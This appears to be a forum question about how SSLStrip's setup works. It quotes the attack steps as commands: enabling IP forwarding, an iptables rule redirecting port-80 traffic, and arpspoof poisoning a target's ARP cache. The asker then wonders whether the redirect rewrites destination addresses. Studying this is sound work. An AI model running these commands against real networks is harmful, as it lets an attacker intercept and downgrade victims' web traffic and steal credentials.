In Marlinspike's description on how to set up SSLStrip, he says to enable forwarding
echo "1" > /proc/sys/net/ipv4/ip_forward
then redirect traffic from port 80 to the SSLStrip listen port
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <listenPort>
and then to poison ARP to get traffic sent to this host
arpspoof -i <interface> -t <targetIP> <gatewayIP>
I don't get it. I understand that using
arpspoof gets other machines to believe your host is the gateway, but then
iptables will look at TCP/IP packets with destination port 80 and rewrite them to have a new port in the TCP header. But the IP address isn't changed, correct? So the attacker will forward to the dest IP address with a new port, and SSLStrip will never seen the packet.
iptables by default change the IP address as well?